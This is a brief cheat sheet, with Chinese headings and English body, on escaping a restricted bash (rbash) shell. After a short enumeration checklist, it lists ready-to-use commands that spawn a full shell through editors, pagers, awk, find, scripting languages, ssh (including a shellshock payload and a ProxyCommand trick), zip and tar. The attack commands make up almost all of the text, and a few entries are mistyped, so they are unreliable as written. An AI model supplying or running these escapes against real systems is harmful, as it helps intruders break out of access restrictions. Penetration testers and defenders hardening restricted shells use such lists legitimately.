rbash绕过总结

Markdown

```
# 枚举 Linux 环境
1) First we must to check for available commands like cd/ls/echo etc.
2) We must to check for operators like >,>>,<,|.
3) We need to check for available programming languages like perl,ruby,python etc.
4) Which commands we can run as root (sudo -l).
5) Check for files or commands with SUID perm.
6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%
7) Check for the Environmental Variables : run env or printenv
Now let’s move into Common Exploitation Techniques.

# 常用技术
1) If "/" is allowed you can run /bin/sh or /bin/bash.
2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.
3) From ftp > !/bin/sh or !/bin/bash
4) From gdb > !/bin/sh or !/bin/bash
5) From more/man/less > !/bin/sh or !/bin/bash
6) From vim > !/bin/sh or !/bin/bash
7) From rvim > :python import os; os.system("/bin/bash ")
8) From scp > scp -S /path/yourscript x y:
9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'
10) From find > find / -name test -exec /bin/sh or /bin/bash \;

# 利用编程语言绕过
1) From except > except spawn sh then sh.
2) From python > python -c 'import os; os.system("/bin/sh")'
3) From php > php -a then exec("sh -i");
4) From perl > perl -e 'exec "/bin/sh";'
5) From lua > os.execute('/bin/sh').
6) From ruby > exec "/bin/sh"

# 高级技术
1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"
2)From ssh2 > ssh username@IP -t "bash --noprofile"
3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
5)From git > git help status > you can run it then !/bin/bash
6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T
7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
```